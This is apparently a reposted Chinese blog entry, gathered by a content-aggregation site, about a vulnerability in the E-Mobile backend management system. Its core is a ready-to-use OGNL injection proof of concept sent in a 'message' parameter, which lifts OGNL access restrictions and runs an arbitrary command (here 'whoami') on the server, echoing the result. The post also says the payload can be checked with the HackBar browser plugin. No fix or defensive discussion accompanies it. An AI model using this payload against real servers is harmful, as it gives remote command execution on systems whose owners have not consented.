轉載：https://blog.csdn.net/qq_27446553/article/details/68203308

E-Mobile 后臺管理系統漏洞
可以通過火狐hackbar插件進行驗證
Poc :

message=(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()))).(#w.close())&cmd=whoami

復現圖片如下：

總結

以上是生活随笔為你收集整理的E-Mobile 后台管理系统漏洞的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。